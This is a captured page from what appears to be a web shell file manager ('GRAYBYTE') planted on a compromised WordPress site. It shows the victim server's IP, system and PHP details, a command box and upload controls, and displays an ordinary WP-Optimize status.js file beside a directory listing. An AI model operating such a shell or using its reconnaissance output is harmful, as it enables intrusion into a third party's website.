GRAYBYTE WORDPRESS FILE MANAGER4096

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/js/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/js//status.js
var WPO_Status_Report = (function($) {
	var report_initialized = false;
	var report_initializing = false;

	return function() {
		if (false !== report_initialized || false !== report_initializing) return;

		var replaceable_md_tags;

		/**
		 * Use WordPress Fetch API to show directory size information, update HTML and plain text report
		 */
		function fetch_directory_sizes() {
			wp.apiFetch({
				path: 'wp-site-health/v1/directory-sizes'
			}).then(function(data) {
				var tag;
				
				for(var fieldname in data) {
					$('#wpo-value-wp-paths-sizes-' + fieldname).html(data[fieldname].size);

					tag = '{{[wp-paths-sizes-' + fieldname + ']}}';
					replace_md_report_tag(tag, data[fieldname].size);

					delete replaceable_md_tags[fieldname];
				}

				for(var fieldname in replaceable_md_tags) {
					if (null !== replaceable_md_tags[fieldname]) {
						replace_md_report_tag(replaceable_md_tags[fieldname], wpoptimize.data_not_available);
						$('#wpo-value-wp-paths-sizes-' + fieldname).html(wpoptimize.data_not_available);
					}
				}
			}).catch(function(e) {
				var elems = document.querySelectorAll('.wpo-ajax-field-wp-paths-sizes');
				elems.forEach(function(e) {
					e.innerHTML = wpoptimize.data_not_available;
				});
			});
		}

		/**
		 * Generate system report
		 */
		function generate_system_report() {
			report_initializing = true;
			$('#wpo-generate-status-report-text').html(wpoptimize.please_wait + " " + '<i id="wpo-preview-loader"><img width="12" height="12" src="' + wpoptimize.spinner_src + '"></i>');
			
			wp_optimize.send_command('generate_status_report', {}, function (resp) {
				$("#wpo-status-report-container").html(resp.html);

				attach_click_handlers();
				fill_settings_debug_report();
				fetch_directory_sizes();

				replaceable_md_tags = resp.replaceable_md_tags;

				report_initialized = true;
			}).always(function() {
				report_initializing = false;
			});
		};

		/**
		 * Show/Hide plain text markdown report button click events and log download
		 */
		function attach_click_handlers() {
			var server_info = $('#wpo-server-info');
			var btn_show_status_report = $('#wpo-show-status-report-btn');
			var btn_copy_status_report = $('#wpo-copy-status-report-btn');
			var server_info_report = $('#wpo-server-info-report');
			btn_show_status_report.on('click', function(e) {
				var to_show = server_info_report.is(':hidden');
				if (true === to_show) {
					$(this).text(wpoptimize.hide);
					server_info.prepend(server_info_report);
					server_info_report.show();
					server_info_report.trigger('select');

					// give event loop some time to render the select() method we just called
					setTimeout(function(o) { o.scrollTop(0); }, 50, server_info_report);
				} else {
					$(this).text(wpoptimize.show);
					server_info.append(server_info_report);
					server_info_report.hide();
				}
			});

			(function(btn) {
				btn.on('click', function(event) {
					event.preventDefault();

					var server_info_report = $('#wpo-server-info-report');
					try {
						if (clipboard in navigator) {
							navigator.clipboard.writeText(server_info_report.val());
							show_clipboard_action_result(wpoptimize.clipboard_success);
						} else {
							throw new Error();
						}
					} catch(e) {
						const textArea = document.createElement('textarea');
						textArea.value = server_info_report.val();
						textArea.style.opacity = 0;
						var container = btn.parent();
						container.append(textArea);
						textArea.focus();
						textArea.select();
						try {
							const success = document.execCommand('copy');
							if (success) {
								show_clipboard_action_result(wpoptimize.clipboard_success);
							} else {
								throw new Error("Exec command failed, could not copy");
							}
						} catch (err) {
							console.log(err);
							show_clipboard_action_result(wpoptimize.clipboard_failed);
						}
						$(textArea).remove();
					}
				});
			})(btn_copy_status_report);

			/**
			 * Display the result for clipboard copy action
			 *
			 * @param {string} msg The result message
			 */
			function show_clipboard_action_result(msg) {
				$("#wpo-copy-action-result").html(msg);
				$("#wpo-copy-action-result").show();
				setTimeout(function() { $("#wpo-copy-action-result").hide(); }, 1500);
			}

			$('#wpo-download-logs').on('click', function() {
				$('#wpo-generate-zip-file-text').html(wpoptimize.please_wait + " " + '<i id="wpo-preview-loader"><img width="12" height="12" src="' + wpoptimize.spinner_src + '"></i>');
				$(this).prop('disabled', true);

				wp_optimize.send_command('generate_logs_zip', {}, function (resp) {
					const zip = new JSZip();
					
					resp.data.forEach(function(ziplog) {
						if (ziplog.compressed) {
							zip.file(ziplog.name + '.gz', atob(ziplog.src), {binary: true});
						} else {
							zip.file(ziplog.name, atob(ziplog.src), {binary: true});
						}
					});
					
					zip.generateAsync({type : "blob", compression: "DEFLATE"}).then(function(logs) {
						var blob = new Blob([logs]);
						const url = window.URL.createObjectURL(blob);
						const a = document.createElement('a');
						a.style.display = 'none';
						a.href = url;
						
						var now = new Date().toJSON().replace(/:/g, '_');
						a.download = 'logs-' + now + '.zip';
						document.body.appendChild(a);
						a.click();
						window.URL.revokeObjectURL(url);

						$('#wpo-generate-zip-file-text').html('');
						$('#wpo-download-logs').prop('disabled', false);
					});
				});
			});

			$("#wpo-download-status-report-btn").on('click', function() {
				var blob = new Blob([server_info_report.val()]);
				const url = window.URL.createObjectURL(blob);
				const a = document.createElement('a');
				a.style.display = 'none';
				a.href = url;
				
				var now = new Date().toJSON().replace(/:/g, '_');
				a.download = 'wp-optimize-report-' + now + '.txt';
				document.body.appendChild(a);
				a.click();
				window.URL.revokeObjectURL(url);
			});
		}

		/**
		 * Insert the plugin settings section in HTML and plain text report
		 */
		function fill_settings_debug_report() {
			var report = JSON.stringify(WP_Optimize.build_settings(), null, 2);

			$('#wpo-general-settings').html(report);

			replace_md_report_tag('{{[wpo-general-settings]}}', report);
		}

		/**
		 * Helper to insert text in textarea object with markdown report contents
		 *
		 * @param {string} tag  The search string to find the replaceable tag
		 * @param {string} text The actual text that needs to be in the report
		 */
		function replace_md_report_tag(tag, text) {
			var markdown_report = $('#wpo-server-info-report').html();
			markdown_report = markdown_report.replace(tag, text);
			$('#wpo-server-info-report').html(markdown_report);
		}

		// Attach tab change
		$('#wp-optimize-wrap').on('tab-change/wpo_settings/status', function(e) {
			e.preventDefault();

			if (false === report_initialized) {
				generate_system_report();
			}
		});
	}
})(jQuery);

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
handlebars
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
jszip
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
serialize-json
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
sortable
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
.htaccess
0.259 KB
July 10 2025 04:45:39
giriqfky / giriqfky
0644
blockUI-4-2-2.min.js
0.612 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
blockUI.js
1.222 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
cache-4-2-2.min.js
8.042 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
cache.js
15.248 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
delay-js-4-2-2.min.js
1.16 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
delay-js.js
5.39 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
heartbeat-4-2-2.min.js
2.781 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
heartbeat.js
7.522 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadAsync-4-2-2.min.js
0.297 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadAsync.js
0.654 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadCSS-4-2-2.min.js
0.799 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadCSS.js
3.046 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
minify-4-2-2.min.js
11.886 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
minify.js
20.751 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
modal-4-2-2.min.js
0.9 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
modal.js
1.794 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
queue-4-2-2.min.js
0.603 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
queue.js
3.317 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
radio.php
5.234 KB
July 10 2025 04:45:39
giriqfky / giriqfky
0644
send-command-4-2-2.min.js
2.579 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
send-command.js
5.878 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
status-4-2-2.min.js
3.524 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
status.js
6.813 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpo-images-view-4-2-2.min.js
7.334 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpo-images-view.js
15.58 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpoadmin-4-2-2.min.js
37.2 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpoadmin.js
75.491 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wposmush-4-2-2.min.js
22.877 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wposmush.js
45.442 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF